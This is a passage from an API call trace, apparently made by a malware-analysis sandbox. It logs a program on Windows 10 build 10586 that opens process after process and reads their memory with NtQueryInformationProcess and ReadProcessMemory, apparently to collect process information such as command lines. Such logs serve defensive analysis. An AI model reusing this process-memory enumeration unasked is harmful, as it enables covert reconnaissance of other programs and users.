| out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0258.325] free (_Block=0x196ef0d03e0) [0258.325] CloseHandle (hObject=0x464) returned 1 [0258.326] _ui64tow_s (in: _Value=0xe18, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3608") returned 0x0 [0258.330] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3608") returned 4 [0258.332] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0258.332] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0258.467] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe18) returned 0x464 [0258.467] GetLastError () returned 0x0 [0258.468] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0258.468] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x36b018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0258.468] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0258.468] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x451d80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0258.468] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4518f8, lpBuffer=0x670f7c2b0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.469] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0258.471] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0258.471] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x36b020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0258.471] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4512e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0258.471] malloc (_Size=0xa2) returned 0x196ef0fae70 [0258.471] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x451992, lpBuffer=0x196ef0fae70, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fae70*, lpNumberOfBytesRead=0x0) returned 1 [0258.472] free (_Block=0x196ef0fae70) [0258.473] CloseHandle (hObject=0x464) returned 1 [0258.473] _ui64tow_s (in: _Value=0xe28, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3624") returned 0x0 [0258.479] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3624") returned 4 [0258.480] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0258.480] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0258.501] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe28) returned 0x464 [0258.501] GetLastError () returned 0x0 [0258.501] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0258.501] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0258.502] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0258.502] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0258.502] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.503] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0258.505] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0258.505] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0258.505] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0258.505] malloc (_Size=0x8c) returned 0x196ef0d5be0 [0258.505] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f197c, lpBuffer=0x196ef0d5be0, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5be0*, lpNumberOfBytesRead=0x0) returned 1 [0258.506] free (_Block=0x196ef0d5be0) [0258.506] CloseHandle (hObject=0x464) returned 1 [0258.507] _ui64tow_s (in: _Value=0xe30, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3632") returned 0x0 [0258.513] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3632") returned 4 [0258.515] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0258.516] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0258.557] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe30) returned 0x464 [0258.557] GetLastError () returned 0x0 [0258.557] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0258.558] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x32e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0258.558] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0258.558] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0258.558] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d18f8, lpBuffer=0x670f7c2b0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.559] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0258.561] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0258.561] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x32e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0258.561] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0258.561] malloc (_Size=0x6e) returned 0x196ef0d31b0 [0258.561] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d195e, lpBuffer=0x196ef0d31b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.562] free (_Block=0x196ef0d31b0) [0258.562] CloseHandle (hObject=0x464) returned 1 [0258.563] _ui64tow_s (in: _Value=0xe40, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3648") returned 0x0 [0258.567] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3648") returned 4 [0258.568] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0258.568] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0258.590] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe40) returned 0x464 [0258.590] GetLastError () returned 0x0 [0258.590] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0258.591] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x35b018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0258.591] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0258.591] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1ca0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0258.591] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e18f8, lpBuffer=0x670f7c2b0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.592] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0258.595] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0258.595] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x35b020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0258.595] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0258.595] malloc (_Size=0x5a) returned 0x196ef0d0450 [0258.595] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e194a, lpBuffer=0x196ef0d0450, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0258.596] free (_Block=0x196ef0d0450) [0258.598] CloseHandle (hObject=0x464) returned 1 [0258.599] _ui64tow_s (in: _Value=0xe48, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3656") returned 0x0 [0258.608] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3656") returned 4 [0258.609] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0258.609] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0258.625] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe48) returned 0x464 [0258.625] GetLastError () returned 0x0 [0258.626] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0258.626] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b4018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0258.626] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0258.626] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0258.626] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f18f8, lpBuffer=0x670f7c2b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.627] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0258.629] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0258.629] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b4020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0258.629] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0258.629] malloc (_Size=0x76) returned 0x196ef0d2120 [0258.629] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f1966, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0258.630] free (_Block=0x196ef0d2120) [0258.631] CloseHandle (hObject=0x464) returned 1 [0258.631] _ui64tow_s (in: _Value=0xe54, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3668") returned 0x0 [0258.637] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3668") returned 4 [0258.638] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0258.638] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0258.685] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe54) returned 0x464 [0258.685] GetLastError () returned 0x0 [0258.686] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0258.686] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x541018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0258.686] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0258.686] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0258.686] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.688] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0258.691] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0258.691] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x541020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0258.692] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0258.692] malloc (_Size=0x60) returned 0x196ef0d0450 [0258.692] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1950, lpBuffer=0x196ef0d0450, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0258.693] free (_Block=0x196ef0d0450) [0258.694] CloseHandle (hObject=0x464) returned 1 [0258.695] _ui64tow_s (in: _Value=0xe5c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3676") returned 0x0 [0258.705] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3676") returned 4 [0258.707] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0258.707] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0258.738] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe5c) returned 0x464 [0258.739] GetLastError () returned 0x0 [0258.739] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0258.739] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0258.739] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0258.740] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0258.740] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.742] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0258.744] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0258.744] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0258.744] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0258.744] malloc (_Size=0x60) returned 0x196ef0d0450 [0258.744] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e1950, lpBuffer=0x196ef0d0450, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0258.745] free (_Block=0x196ef0d0450) [0258.747] CloseHandle (hObject=0x464) returned 1 [0258.748] _ui64tow_s (in: _Value=0xe70, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3696") returned 0x0 [0258.755] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3696") returned 4 [0258.757] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0258.757] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0258.790] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe70) returned 0x464 [0258.790] GetLastError () returned 0x0 [0258.791] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0258.791] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x217018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0258.791] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0258.791] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0258.791] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0258.796] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0258.798] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0258.798] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x217020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0258.798] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, 